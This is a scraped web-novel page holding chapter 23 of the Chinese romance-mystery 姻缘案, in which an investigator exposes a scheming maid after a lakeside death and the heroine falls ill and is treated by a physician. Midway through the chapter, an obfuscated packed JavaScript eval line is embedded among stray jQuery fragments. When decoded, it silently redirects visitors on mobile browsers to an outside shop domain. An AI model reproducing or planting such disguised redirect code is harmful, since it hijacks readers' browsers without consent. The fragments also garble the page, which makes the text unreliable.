文趣网 > 其他小说 > 姻缘案 > 23. 病重
    长公主静静地凝视着季丞烨,看着一颗颗水珠顺着他的发丝滴落,在石砖之上晕开。

    湖风卷着寒意掠过,岸边人纷纷裹紧衣服,季丞烨却躬身一动不动。

    长公主挑眉冷笑:“哦?季大人有何高见?”

    季丞烨直起身子,抬手指向湖边的石头说道:“湖岸背阴,已近初冬时节,草木凋零,这些石头上却仍覆着一层厚实青苔,显然不是自然生长,更像是人为铺上去的。”

    一语说罢,众人皆是一静。谁都知道,这个时节,青苔已停止生长。像长公主这样的贵人府邸,一定是早早就将岸边青苔除去,怎么会留下这么厚实的青苔?

    季丞烨又转头望向沈昭絮,问道:“沈姑娘今日应是第一次来公主府吧?”

    沈昭絮瞬间明白了他的意思,微微喘息,缓过喉间的不适,轻轻答道:“是,公主府向来非请勿入,我这也是头回收到长公主的请帖。且今日我未曾独自闲逛,若不是琥珀引我来此,我根本不会靠近湖边,更不要说找机会去布这青苔了。”

    季丞烨点点头,抬脚走到几步之外一块石头旁,指着石面痕迹分析道:“诸位请看,此处青苔之上尚留有清晰足印。这印记深陷,脚尖朝外,应是有人意外踩到石上青苔,脚下打滑、身体向外倾斜跌落时留下的痕迹。若是遭人从背后推搡落水,足印应当向后踉跄,重心向内,呈现多层重叠的形态。”

    “就比如……”季丞烨倏地转身,目光锁住琥珀,直指她脚边的青石,“那里!看来沈姑娘被推坠湖后,琥珀姑娘连动都没动过,竟是连一丝救人的心都没有。”

    此话一落,在场所有人的目光如钉子一般射向琥珀。

    琥珀不愧是长公主贴身侍女,见惯了大场面,纵是面对这样的指控,仍能强装镇定:“许是我所站之处为李公子坠湖之处,而季大人所站之处才是沈姑娘坠湖之处。是季大人弄错了!”

    “哦?是吗?”季丞烨冷眼瞧着琥珀,“你的意思是,沈姑娘突然落水,你不往人群聚集处呼救求援,却往反方向跑去?”

    一句话封死了所有狡辩。琥珀心猛地一沉,张口欲言,却一时语塞。她下意识望向长公主。

    长公主面上依旧端着矜贵平和,眼底却是淬了冰的狠厉,仿佛透着蠢货二字。

    琥珀慌地立刻低下了头,脚下一软,直直瘫跪在地上:“是奴婢!是奴婢提前在石上布了青苔!”

    “奴婢见郡主不喜沈姑娘,便想着惩治一下沈姑娘,讨郡主开心。谁知道李公子竟偷偷跟在后面,踩中青苔落水。奴婢见闹出了人命,怕被追责,便鬼迷了心窍,栽赃沈姑娘蓄意害人,是奴婢有罪!”

    此言一出,满场目光齐刷刷落在一旁的宁安郡主身上。

    宁安神色自若,坦然地接受着一切审视与猜疑的目光。这不是她第一次做母亲的挡箭牌了。从小到大,但凡母亲有需要,她这个郡主,便是最合时宜,也最听话的棋子。仿佛这就是她降生于这皇家,生来的使命。

    一桩坠湖命案,竟被琥珀三言两语,就将祸水引到了宁安和沈昭絮的闺阁之争上。既保全了长公主的脸面,又给自己找了个看似合理的动机,算盘打得精妙至极。

    见琥珀故意模糊此事,季丞烨当即出声呵斥:“只是栽赃吗?!沈姑娘到底因何落水,你比谁都清楚。若非你趁乱推了她一把,她怎会无端坠湖?你哪里是想惩治她一下,你根本就是想要她的命!”

    季丞烨步步紧逼,凛冽逼人,半点不给琥珀喘息的机会。

    此时,长公主略一抬手,敛去眼底闪过的阴鸷,以皇家之仪压住全场。她随意鼓了两下掌,说道:“本宫早就听闻季大人断案如神,果真是百闻不如一见。”

    然后,她话锋一转,“只不过,琥珀毕竟是本宫府里的人。既是本宫的人犯了错,自然该由本宫来罚。至于这李苑,本宫自会给李家一个交代,就不劳大理寺卿操心了。”

    权势压人,无人敢再置喙半句。赏菊宴就此散去。

    听说当晚琥珀就被长公主下令杖毙,尸身被丢弃在城外荒冢,不许收殓。

    更让人胆寒的是,不知长公主使了什么手段,李家竟无一人上门哭闹、讨要说法,只是默默地将府门内外的彩饰卸下,罩上白绸、换上白色奠字灯笼。

    要知道,李苑可是李家独子,一脉单传。这白发人送黑发人之苦,断嗣之痛,得是何种的锥心刺骨啊!寻常人家,哪怕拼尽身家性命,也要求个公道的。可堂堂李家,皇亲贵胄,就这么硬生生地咽下了这口气。

    与此同时,深宫之中有消息透出,当晚淑妃一身素缟,未施粉黛,长跪于养心殿外,这一跪便跪了整整一夜。养心殿内烛火通明,大门却始终没有打开。

    第二日,养心殿内传出一道圣旨——晋淑妃为淑贵妃。

    一场赏菊宴,平白沾上了人命官司,赴宴的人都觉晦气,自然要寻个人来承担这份晦气。

    于是,沈昭絮“命里带煞,专克议亲对象”的传言再起,如野火燎原般,愈烧愈烈。

    外面流言满天飞,沈家却顾不得这么多了。沈昭絮受了惊吓,再加上寒气入体,终究没能撑住,当晚便发起了高烧。

    她整个人烧得迷迷糊糊的,嘴里说着胡话。国公夫人守了她一夜,请了好几波大夫,也未有好转。

    天一亮,沈长卿便进宫请了太医。可太医看过后,只留下一句——能不能挺过来全看沈姑娘自己的造化了。一句话,沈家人如冷水浇头,失了方寸。

    季丞烨也是一夜未眠,眼眶熬得通红,直到墨七将太医的话原原本本传来,他才将手中那整夜都未翻过的卷宗放下。

    “去,把秦叔请来。”

    墨七刚要领命,季丞烨却已改了主意,“算了,等你去请,来回又要耽搁时间,我亲自去接。”

    用毒之人素来更懂药理,唐门更是如此。既然太医院的传统方子救不了她,那就试试秦叔这个偏方。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17955421|212707||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    墨七先一步赶到沈府,与沈长卿打了照面。待季丞烨带着秦叔到时,沈府早已安排妥当,悄悄将二人从后门引入,不曾惊动旁人。

    沈长卿站在妹妹房前焦急等候,见季丞烨亲自登门,眼底闪过一丝复杂,终未多言,只侧身让于一旁:“有劳季大人,秦先生里面请。”

    秦叔也不寒暄,背着药箱便随四月入内诊治。季丞烨站在沈长卿身侧,目光沉沉落在紧闭的门扉上。

    秦叔隔着珠帘诊脉,又瞧了眼舌苔,紧皱的眉头才舒展了几分:“脉象虽弱,尚有根基,老夫需为姑娘扎上几针,通脉驱寒。”

    国公夫人和四月闻言,面露喜色,当即上前协助。秦叔取出一排银针,以飞针之法将银针弹进穴位之上,手法十分利落。几针下去,沈昭絮痛苦蜷缩的身躯渐渐放松下来,呼吸也平缓了许多。

    待秦叔施完针,他边写药方边仔细交代道:“姑娘眼下已无大碍,今夜应能退热。只是退热后,仍需细心调理,若是落下病根,往后只怕缠绵病榻,于子嗣之事有碍。”

    这话说得明白,屋内之人悬着的心这才彻底放下。

    四月千恩万谢地接了方子,便去药铺抓药。国公夫人则连声道谢,亲自送秦叔出门。在踏出门槛前,秦叔却停住脚步,低头与国公夫人嘀咕了一句。

    国公夫人面露难色:“这……怕是不妥吧?絮儿尚在病中,又未出阁,让外男入内,于礼不合。”

    秦叔捋了捋须,意味深长道:“夫人,您方才也听见了,姑娘昏迷之中,一直唤着‘季丞烨’。这病一半在身,一半在心,若那味心药不用,只怕姑娘这热难退。”

    国公夫人沉默良久,她也不知为何絮儿声声唤着季丞烨,二人明明未曾有过多交集。她思量半晌,叹了长长一口气:“罢了,絮儿这命本也是季大人救的,探望一番无可厚非。请季大人进来吧。”

    房门打开,见二人的脸色尚可,季丞烨和沈长卿也松了口气。

    季丞烨正准备与秦叔一同告辞,却不料听见国公夫人请他入内,他心口一顿,竟有些迟疑。直到秦叔轻轻拍了拍他:“去吧,于沈姑娘的病有益。”

    季丞烨不解,却也照做了,秦叔的医术他一向信任。他缓步入内,不敢惊扰,只安静地坐在珠帘旁的矮凳上。

    屋内烧着地龙,药气氤氲。他隔着珠帘,望着帐中之人。沈昭絮仍是昏睡着,面颊潮红,嘴唇张张合合,溢出断断续续的呓语。

    季丞烨倾身侧耳细听,方觉沈昭絮唤的竟是自己。他眼中满是不忍,柔声安抚道:“我在这,你且安心睡。”

    沈昭絮倒真的安静了下来,沉沉睡了过去,面上的潮红也淡了几分。

    季丞烨就这么静静地在屋内守着。

    屋外,国公夫人将近身伺候的几个下人召到跟前,郑重吩咐:“今日之事,谁也不许在外提半个字。如有违背,莫怨我不留情面。”

    “夫人放心,奴婢们省得。”